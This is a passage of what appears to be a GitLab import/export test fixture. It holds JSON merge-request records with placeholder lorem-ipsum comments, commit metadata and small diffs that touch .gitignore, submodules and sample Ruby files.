+{"id":27,"target_branch":"feature","source_branch":"feature_conflict","source_project_id":2147483547,"author_id":1,"assignee_id":null,"title":"MR1","created_at":"2016-06-14T15:02:36.568Z","updated_at":"2016-06-14T15:02:56.815Z","state":"opened","merge_status":"unchecked","target_project_id":5,"iid":9,"description":null,"position":0,"updated_by_id":null,"merge_error":null,"diff_head_sha":"HEAD","source_branch_sha":"ABCD","target_branch_sha":"DCBA","merge_params":{"force_remove_source_branch":null},"merge_when_pipeline_succeeds":true,"merge_user_id":null,"merge_commit_sha":null,"notes":[{"id":669,"note":"added 3 commits\n\n<ul><li>16ea4e20...074a2a32 - 2 commits from branch <code>master</code></li><li>ca223a02 - readme: fix typos</li></ul>\n\n[Compare with previous version](/group/project/merge_requests/1/diffs?diff_id=1189&start_sha=16ea4e207fb258fe4e9c73185a725207c9a4f3e1)","noteable_type":"MergeRequest","author_id":26,"created_at":"2020-03-28T12:47:33.461Z","updated_at":"2020-03-28T12:47:33.461Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"system":true,"st_diff":null,"updated_by_id":null,"position":null,"original_position":null,"resolved_at":null,"resolved_by_id":null,"discussion_id":null,"change_position":null,"resolved_by_push":null,"confidential":null,"type":null,"author":{"name":"User 4"},"award_emoji":[],"system_note_metadata":{"id":4789,"commit_count":3,"action":"commit","created_at":"2020-03-28T12:47:33.461Z","updated_at":"2020-03-28T12:47:33.461Z"},"events":[],"suggestions":[]},{"id":670,"note":"unmarked as a **Work In Progress**","noteable_type":"MergeRequest","author_id":26,"created_at":"2020-03-28T12:48:36.951Z","updated_at":"2020-03-28T12:48:36.951Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"system":true,"st_diff":null,"updated_by_id":null,"position":null,"original_position":null,"resolved_at":null,"resolved_by_id":null,"discussion_id":null,"change_position":null,"resolved_by_push":null,"confidential":null,"type":null,"author":{"name":"User 4"},"award_emoji":[],"system_note_metadata":{"id":4790,"commit_count":null,"action":"title","created_at":"2020-03-28T12:48:36.951Z","updated_at":"2020-03-28T12:48:36.951Z"},"events":[],"suggestions":[]},{"id":671,"note":"Sit voluptatibus eveniet architecto quidem.","note_html":"<p>something else entirely</p>","cached_markdown_version":917504,"noteable_type":"MergeRequest","author_id":26,"created_at":"2016-06-14T15:02:56.632Z","updated_at":"2016-06-14T15:02:56.632Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":27,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 4"},"events":[],"award_emoji":[{"id":1,"name":"tada","user_id":1,"awardable_type":"Note","awardable_id":1,"created_at":"2019-11-05T15:37:21.287Z","updated_at":"2019-11-05T15:37:21.287Z"}]},{"id":672,"note":"Odio maxime ratione voluptatibus sed.","noteable_type":"MergeRequest","author_id":25,"created_at":"2016-06-14T15:02:56.656Z","updated_at":"2016-06-14T15:02:56.656Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":27,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 3"},"events":[]},{"id":673,"note":"Et deserunt et omnis nihil excepturi accusantium.","noteable_type":"MergeRequest","author_id":22,"created_at":"2016-06-14T15:02:56.679Z","updated_at":"2016-06-14T15:02:56.679Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":27,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 0"},"events":[]},{"id":674,"note":"Saepe asperiores exercitationem non dignissimos laborum reiciendis et ipsum.","noteable_type":"MergeRequest","author_id":20,"created_at":"2016-06-14T15:02:56.700Z","updated_at":"2016-06-14T15:02:56.700Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":27,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ottis Schuster II"},"events":[],"suggestions":[{"id":1,"note_id":674,"relative_order":0,"applied":false,"commit_id":null,"from_content":"Original line\n","to_content":"New line\n","lines_above":0,"lines_below":0,"outdated":false}]},{"id":675,"note":"Numquam est at dolor quo et sed eligendi similique.","noteable_type":"MergeRequest","author_id":16,"created_at":"2016-06-14T15:02:56.720Z","updated_at":"2016-06-14T15:02:56.720Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":27,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Rhett Emmerich IV"},"events":[]},{"id":676,"note":"Et perferendis aliquam sunt nisi labore delectus.","noteable_type":"MergeRequest","author_id":15,"created_at":"2016-06-14T15:02:56.742Z","updated_at":"2016-06-14T15:02:56.742Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":27,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Burdette Bernier"},"events":[]},{"id":677,"note":"Aut ex rerum et in.","noteable_type":"MergeRequest","author_id":6,"created_at":"2016-06-14T15:02:56.791Z","updated_at":"2016-06-14T15:02:56.791Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":27,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ari Wintheiser"},"events":[]},{"id":678,"note":"Dolor laborum earum ut exercitationem.","noteable_type":"MergeRequest","author_id":1,"created_at":"2016-06-14T15:02:56.814Z","updated_at":"2016-06-14T15:02:56.814Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":27,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Administrator"},"events":[]}],"resource_label_events":[{"id":243,"action":"add","issue_id":null,"merge_request_id":27,"label_id":null,"user_id":1,"created_at":"2018-08-28T08:24:00.494Z"}],"merge_request_diff":{"id":27,"state":"collected","merge_request_diff_commits":[{"merge_request_diff_id":27,"relative_order":0,"sha":"bb5206fee213d983da88c47f9cf4cc6caf9c66dc","message":"Feature conflict added\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-08-06T08:35:52.000+02:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-08-06T08:35:52.000+02:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com","commit_author":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"},"committer":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"}},{"merge_request_diff_id":27,"relative_order":1,"sha":"5937ac0a7beb003549fc5fd26fc247adbce4a52e","message":"Add submodule from gitlab.com\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T10:01:38.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T10:01:38.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com","commit_author":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"},"committer":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"}},{"merge_request_diff_id":27,"relative_order":2,"sha":"570e7b2abdd848b95f2f578043fc23bd6f6fd24d","message":"Change some files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:57:31.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:57:31.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com","commit_author":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"},"committer":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"}},{"merge_request_diff_id":27,"relative_order":3,"sha":"6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9","message":"More submodules\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:54:21.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:54:21.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com","commit_author":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"},"committer":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"}},{"merge_request_diff_id":27,"relative_order":4,"sha":"d14d6c0abdd253381df51a723d58691b2ee1ab08","message":"Remove ds_store files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:49:50.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:49:50.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com","commit_author":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"},"committer":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"}},{"merge_request_diff_id":27,"relative_order":5,"sha":"c1acaa58bbcbc3eafe538cb8274ba387047b69f8","message":"Ignore DS files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:48:32.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:48:32.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com","commit_author":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"},"committer":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"}}],"merge_request_diff_files":[{"merge_request_diff_id":27,"relative_order":0,"utf8_diff":"Binary files a/.DS_Store and /dev/null differ\n","new_path":".DS_Store","old_path":".DS_Store","a_mode":"100644","b_mode":"0","new_file":false,"renamed_file":false,"deleted_file":true,"too_large":false},{"merge_request_diff_id":27,"relative_order":1,"utf8_diff":"--- a/.gitignore\n+++ b/.gitignore\n@@ -17,3 +17,4 @@ rerun.txt\n pickle-email-*.html\n .project\n config/initializers/secret_token.rb\n+.DS_Store\n","new_path":".gitignore","old_path":".gitignore","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":27,"relative_order":2,"utf8_diff":"--- a/.gitmodules\n+++ b/.gitmodules\n@@ -1,3 +1,9 @@\n [submodule \"six\"]\n \tpath = six\n \turl = git://github.com/randx/six.git\n+[submodule \"gitlab-shell\"]\n+\tpath = gitlab-shell\n+\turl = https://github.com/gitlabhq/gitlab-shell.git\n+[submodule \"gitlab-grack\"]\n+\tpath = gitlab-grack\n+\turl = https://gitlab.com/gitlab-org/gitlab-grack.git\n","new_path":".gitmodules","old_path":".gitmodules","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":27,"relative_order":3,"utf8_diff":"Binary files a/files/.DS_Store and /dev/null differ\n","new_path":"files/.DS_Store","old_path":"files/.DS_Store","a_mode":"100644","b_mode":"0","new_file":false,"renamed_file":false,"deleted_file":true,"too_large":false},{"merge_request_diff_id":27,"relative_order":4,"utf8_diff":"--- /dev/null\n+++ b/files/ruby/feature.rb\n@@ -0,0 +1,4 @@\n+# This file was changed in feature branch\n+# We put different code here to make merge conflict\n+class Conflict\n+end\n","new_path":"files/ruby/feature.rb","old_path":"files/ruby/feature.rb","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":27,"relative_order":5,"utf8_diff":"--- a/files/ruby/popen.rb\n+++ b/files/ruby/popen.rb\n@@ -6,12 +6,18 @@ module Popen\n \n def popen(cmd, path=nil)\n unless cmd.is_a?(Array)\n- raise \"System commands must be given as an array of strings\"\n+ raise RuntimeError, \"System commands must be given as an array of strings\"\n end\n \n path ||= Dir.pwd\n- vars = { \"PWD\" => path }\n- options = { chdir: path }\n+\n+ vars = {\n+ \"PWD\" => path\n+ }\n+\n+ options = {\n+ chdir: path\n+ }\n \n unless File.directory?(path)\n FileUtils.mkdir_p(path)\n@@ -19,6 +25,7 @@ module Popen\n \n @cmd_output = \"\"\n @cmd_status = 0\n+\n Open3.popen3(vars, *cmd, options) do |stdin, stdout, stderr, wait_thr|\n @cmd_output << stdout.read\n @cmd_output << stderr.read\n","new_path":"files/ruby/popen.rb","old_path":"files/ruby/popen.rb","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":27,"relative_order":6,"utf8_diff":"--- a/files/ruby/regex.rb\n+++ b/files/ruby/regex.rb\n@@ -19,14 +19,12 @@ module Gitlab\n end\n \n def archive_formats_regex\n- #|zip|tar| tar.gz | tar.bz2 |\n- /(zip|tar|tar\\.gz|tgz|gz|tar\\.bz2|tbz|tbz2|tb2|bz2)/\n+ /(zip|tar|7z|tar\\.gz|tgz|gz|tar\\.bz2|tbz|tbz2|tb2|bz2)/\n end\n \n def git_reference_regex\n # Valid git ref regex, see:\n # https://www.kernel.org/pub/software/scm/git/docs/git-check-ref-format.html\n-\n %r{\n (?!\n (?# doesn't begins with)\n","new_path":"files/ruby/regex.rb","old_path":"files/ruby/regex.rb","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":27,"relative_order":7,"utf8_diff":"--- /dev/null\n+++ b/gitlab-grack\n@@ -0,0 +1 @@\n+Subproject commit 645f6c4c82fd3f5e06f67134450a570b795e55a6\n","new_path":"gitlab-grack","old_path":"gitlab-grack","a_mode":"0","b_mode":"160000","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":27,"relative_order":8,"utf8_diff":"--- /dev/null\n+++ b/gitlab-shell\n@@ -0,0 +1 @@\n+Subproject commit 79bceae69cb5750d6567b223597999bfa91cb3b9\n","new_path":"gitlab-shell","old_path":"gitlab-shell","a_mode":"0","b_mode":"160000","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false}],"merge_request_id":27,"created_at":"2016-06-14T15:02:36.572Z","updated_at":"2016-06-14T15:02:36.658Z","base_commit_sha":"ae73cb07c9eeaf35924a10f713b364d32b2dd34f","real_size":"9"},"events":[{"id":221,"target_type":"MergeRequest","target_id":27,"project_id":36,"created_at":"2016-06-14T15:02:36.703Z","updated_at":"2016-06-14T15:02:36.703Z","action":1,"author_id":1},{"id":187,"target_type":"MergeRequest","target_id":27,"project_id":5,"created_at":"2016-06-14T15:02:36.703Z","updated_at":"2016-06-14T15:02:36.703Z","action":1,"author_id":1}],"approvals_before_merge":1,"award_emoji":[{"id":1,"name":"thumbsup","user_id":1,"awardable_type":"MergeRequest","awardable_id":27,"created_at":"2020-01-07T11:21:21.235Z","updated_at":"2020-01-07T11:21:21.235Z"},{"id":2,"name":"drum","user_id":1,"awardable_type":"MergeRequest","awardable_id":27,"created_at":"2020-01-07T11:21:21.235Z","updated_at":"2020-01-07T11:21:21.235Z"}]}
+{"id":26,"target_branch":"master","source_branch":"feature","source_project_id":4,"author_id":1,"assignee_id":null,"title":"MR2","created_at":"2016-06-14T15:02:36.418Z","updated_at":"2016-06-14T15:02:57.013Z","state":"opened","merge_status":"unchecked","target_project_id":5,"iid":8,"description":null,"position":0,"updated_by_id":null,"merge_error":null,"merge_params":{"force_remove_source_branch":null},"merge_when_pipeline_succeeds":false,"merge_user_id":null,"merge_commit_sha":null,"notes":[{"id":679,"note":"Qui rerum totam nisi est.","noteable_type":"MergeRequest","author_id":26,"created_at":"2016-06-14T15:02:56.848Z","updated_at":"2016-06-14T15:02:56.848Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":26,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 4"},"events":[]},{"id":680,"note":"Pariatur magni corrupti consequatur debitis minima error beatae voluptatem.","noteable_type":"MergeRequest","author_id":25,"created_at":"2016-06-14T15:02:56.871Z","updated_at":"2016-06-14T15:02:56.871Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":26,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 3"},"events":[]},{"id":681,"note":"Qui quis ut modi eos rerum ratione.","noteable_type":"MergeRequest","author_id":22,"created_at":"2016-06-14T15:02:56.895Z","updated_at":"2016-06-14T15:02:56.895Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":26,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 0"},"events":[]},{"id":682,"note":"Illum quidem expedita mollitia fugit.","noteable_type":"MergeRequest","author_id":20,"created_at":"2016-06-14T15:02:56.918Z","updated_at":"2016-06-14T15:02:56.918Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":26,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ottis Schuster II"},"events":[]},{"id":683,"note":"Consectetur voluptate sit sint possimus veritatis quod.","noteable_type":"MergeRequest","author_id":16,"created_at":"2016-06-14T15:02:56.942Z","updated_at":"2016-06-14T15:02:56.942Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":26,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Rhett Emmerich IV"},"events":[]},{"id":684,"note":"Natus libero quibusdam rem assumenda deleniti accusamus sed earum.","noteable_type":"MergeRequest","author_id":15,"created_at":"2016-06-14T15:02:56.966Z","updated_at":"2016-06-14T15:02:56.966Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":26,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Burdette Bernier"},"events":[]},{"id":685,"note":"Tenetur autem nihil rerum odit.","noteable_type":"MergeRequest","author_id":6,"created_at":"2016-06-14T15:02:56.989Z","updated_at":"2016-06-14T15:02:56.989Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":26,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ari Wintheiser"},"events":[]},{"id":686,"note":"Quia maiores et odio sed.","noteable_type":"MergeRequest","author_id":1,"created_at":"2016-06-14T15:02:57.012Z","updated_at":"2016-06-14T15:02:57.012Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":26,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Administrator"},"events":[]}],"merge_request_diff":{"id":26,"state":"collected","merge_request_diff_commits":[{"merge_request_diff_id":26,"sha":"0b4bc9a49b562e85de7cc9e834518ea6828729b9","relative_order":0,"message":"Feature added\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:26:01.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:26:01.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com","commit_author":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"},"committer":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"}}],"merge_request_diff_files":[{"merge_request_diff_id":26,"relative_order":0,"utf8_diff":"--- /dev/null\n+++ b/files/ruby/feature.rb\n@@ -0,0 +1,5 @@\n+class Feature\n+ def foo\n+ puts 'bar'\n+ end\n+end\n","new_path":"files/ruby/feature.rb","old_path":"files/ruby/feature.rb","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false}],"merge_request_id":26,"created_at":"2016-06-14T15:02:36.421Z","updated_at":"2016-06-14T15:02:36.474Z","base_commit_sha":"ae73cb07c9eeaf35924a10f713b364d32b2dd34f","real_size":"1"},"events":[{"id":222,"target_type":"MergeRequest","target_id":26,"project_id":36,"created_at":"2016-06-14T15:02:36.496Z","updated_at":"2016-06-14T15:02:36.496Z","action":1,"author_id":1},{"id":186,"target_type":"MergeRequest","target_id":26,"project_id":5,"created_at":"2016-06-14T15:02:36.496Z","updated_at":"2016-06-14T15:02:36.496Z","action":1,"author_id":1}]}
+{"id":15,"target_branch":"test-7","source_branch":"test-1","source_project_id":5,"author_id":22,"assignee_id":16,"title":"Qui accusantium et inventore facilis doloribus occaecati officiis.","created_at":"2016-06-14T15:02:25.168Z","updated_at":"2016-06-14T15:02:59.521Z","state":"opened","merge_status":"unchecked","target_project_id":5,"iid":7,"description":"Et commodi deserunt aspernatur vero rerum. Ut non dolorum alias in odit est libero. Voluptatibus eos in et vitae repudiandae facilis ex mollitia.","position":0,"updated_by_id":null,"merge_error":null,"merge_params":{"force_remove_source_branch":null},"merge_when_pipeline_succeeds":false,"merge_user_id":null,"merge_commit_sha":null,"notes":[{"id":777,"note":"Pariatur voluptas placeat aspernatur culpa suscipit soluta.","noteable_type":"MergeRequest","author_id":26,"created_at":"2016-06-14T15:02:59.348Z","updated_at":"2016-06-14T15:02:59.348Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":15,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 4"},"events":[]},{"id":778,"note":"Alias et iure mollitia suscipit molestiae voluptatum nostrum asperiores.","noteable_type":"MergeRequest","author_id":25,"created_at":"2016-06-14T15:02:59.372Z","updated_at":"2016-06-14T15:02:59.372Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":15,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 3"},"events":[]},{"id":779,"note":"Laudantium qui eum qui sunt.","noteable_type":"MergeRequest","author_id":22,"created_at":"2016-06-14T15:02:59.395Z","updated_at":"2016-06-14T15:02:59.395Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":15,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 0"},"events":[]},{"id":780,"note":"Quas rem est iusto ut delectus fugiat recusandae mollitia.","noteable_type":"MergeRequest","author_id":20,"created_at":"2016-06-14T15:02:59.418Z","updated_at":"2016-06-14T15:02:59.418Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":15,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ottis Schuster II"},"events":[]},{"id":781,"note":"Repellendus ab et qui nesciunt.","noteable_type":"MergeRequest","author_id":16,"created_at":"2016-06-14T15:02:59.444Z","updated_at":"2016-06-14T15:02:59.444Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":15,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Rhett Emmerich IV"},"events":[]},{"id":782,"note":"Non possimus voluptatum odio qui ut.","noteable_type":"MergeRequest","author_id":15,"created_at":"2016-06-14T15:02:59.469Z","updated_at":"2016-06-14T15:02:59.469Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":15,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Burdette Bernier"},"events":[]},{"id":783,"note":"Dolores repellendus eum ducimus quam ab dolorem quia.","noteable_type":"MergeRequest","author_id":6,"created_at":"2016-06-14T15:02:59.494Z","updated_at":"2016-06-14T15:02:59.494Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":15,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ari Wintheiser"},"events":[]},{"id":784,"note":"Facilis dolorem aut corrupti id ratione occaecati.","noteable_type":"MergeRequest","author_id":1,"created_at":"2016-06-14T15:02:59.520Z","updated_at":"2016-06-14T15:02:59.520Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":15,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Administrator"},"events":[]}],"merge_request_diff":{"id":15,"state":"collected","merge_request_diff_commits":[{"merge_request_diff_id":15,"relative_order":0,"sha":"94b8d581c48d894b86661718582fecbc5e3ed2eb","message":"fixes #10\n","authored_date":"2016-01-19T13:22:56.000+01:00","author_name":"James Lopez","author_email":"james@jameslopez.es","committed_date":"2016-01-19T13:22:56.000+01:00","committer_name":"James Lopez","committer_email":"james@jameslopez.es","commit_author":{"name":"James Lopez","email":"james@jameslopez.es"},"committer":{"name":"James Lopez","email":"james@jameslopez.es"}}],"merge_request_diff_files":[{"merge_request_diff_id":15,"relative_order":0,"utf8_diff":"--- /dev/null\n+++ b/test\n","new_path":"test","old_path":"test","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false}],"merge_request_id":15,"created_at":"2016-06-14T15:02:25.171Z","updated_at":"2016-06-14T15:02:25.230Z","base_commit_sha":"be93687618e4b132087f430a4d8fc3a609c9b77c","real_size":"1"},"events":[{"id":223,"target_type":"MergeRequest","target_id":15,"project_id":36,"created_at":"2016-06-14T15:02:25.262Z","updated_at":"2016-06-14T15:02:25.262Z","action":1,"author_id":1},{"id":175,"target_type":"MergeRequest","target_id":15,"project_id":5,"created_at":"2016-06-14T15:02:25.262Z","updated_at":"2016-06-14T15:02:25.262Z","action":1,"author_id":22}]}
+{"id":14,"target_branch":"fix","source_branch":"test-3","source_project_id":5,"author_id":20,"assignee_id":20,"title":"In voluptas aut sequi voluptatem ullam vel corporis illum consequatur.","created_at":"2016-06-14T15:02:24.760Z","updated_at":"2016-06-14T15:02:59.749Z","state":"opened","merge_status":"unchecked","target_project_id":5,"iid":6,"description":"Dicta magnam non voluptates nam dignissimos nostrum deserunt. Dolorum et suscipit iure quae doloremque. Necessitatibus saepe aut labore sed.","position":0,"updated_by_id":null,"merge_error":null,"merge_params":{"force_remove_source_branch":null},"merge_when_pipeline_succeeds":false,"merge_user_id":null,"merge_commit_sha":null,"notes":[{"id":785,"note":"Atque cupiditate necessitatibus deserunt minus natus odit.","noteable_type":"MergeRequest","author_id":26,"created_at":"2016-06-14T15:02:59.559Z","updated_at":"2016-06-14T15:02:59.559Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":14,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 4"},"events":[]},{"id":786,"note":"Non dolorem provident mollitia nesciunt optio ex eveniet.","noteable_type":"MergeRequest","author_id":25,"created_at":"2016-06-14T15:02:59.587Z","updated_at":"2016-06-14T15:02:59.587Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":14,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 3"},"events":[]},{"id":787,"note":"Similique officia nemo quasi commodi accusantium quae qui.","noteable_type":"MergeRequest","author_id":22,"created_at":"2016-06-14T15:02:59.621Z","updated_at":"2016-06-14T15:02:59.621Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":14,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 0"},"events":[]},{"id":788,"note":"Et est et alias ad dolor qui.","noteable_type":"MergeRequest","author_id":20,"created_at":"2016-06-14T15:02:59.650Z","updated_at":"2016-06-14T15:02:59.650Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":14,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ottis Schuster II"},"events":[]},{"id":789,"note":"Numquam temporibus ratione voluptatibus aliquid.","noteable_type":"MergeRequest","author_id":16,"created_at":"2016-06-14T15:02:59.675Z","updated_at":"2016-06-14T15:02:59.675Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":14,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Rhett Emmerich IV"},"events":[]},{"id":790,"note":"Ut ex aliquam consectetur perferendis est hic aut quia.","noteable_type":"MergeRequest","author_id":15,"created_at":"2016-06-14T15:02:59.703Z","updated_at":"2016-06-14T15:02:59.703Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":14,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Burdette Bernier"},"events":[]},{"id":791,"note":"Esse eos quam quaerat aut ut asperiores officiis.","noteable_type":"MergeRequest","author_id":6,"created_at":"2016-06-14T15:02:59.726Z","updated_at":"2016-06-14T15:02:59.726Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":14,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ari Wintheiser"},"events":[]},{"id":792,"note":"Sint facilis accusantium iure blanditiis.","noteable_type":"MergeRequest","author_id":1,"created_at":"2016-06-14T15:02:59.748Z","updated_at":"2016-06-14T15:02:59.748Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":14,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Administrator"},"events":[]}],"merge_request_diff":{"id":14,"state":"collected","merge_request_diff_commits":[{"merge_request_diff_id":14,"relative_order":0,"sha":"ddd4ff416a931589c695eb4f5b23f844426f6928","message":"fixes #10\n","authored_date":"2016-01-19T14:14:43.000+01:00","author_name":"James Lopez","author_email":"james@jameslopez.es","committed_date":"2016-01-19T14:14:43.000+01:00","committer_name":"James Lopez","committer_email":"james@jameslopez.es","commit_author":{"name":"James Lopez","email":"james@jameslopez.es"},"committer":{"name":"James Lopez","email":"james@jameslopez.es"}},{"merge_request_diff_id":14,"relative_order":1,"sha":"be93687618e4b132087f430a4d8fc3a609c9b77c","message":"Merge branch 'master' into 'master'\r\n\r\nLFS object pointer.\r\n\r\n\r\n\r\nSee merge request !6","authored_date":"2015-12-07T12:52:12.000+01:00","author_name":"Marin Jankovski","author_email":"marin@gitlab.com","committed_date":"2015-12-07T12:52:12.000+01:00","committer_name":"Marin 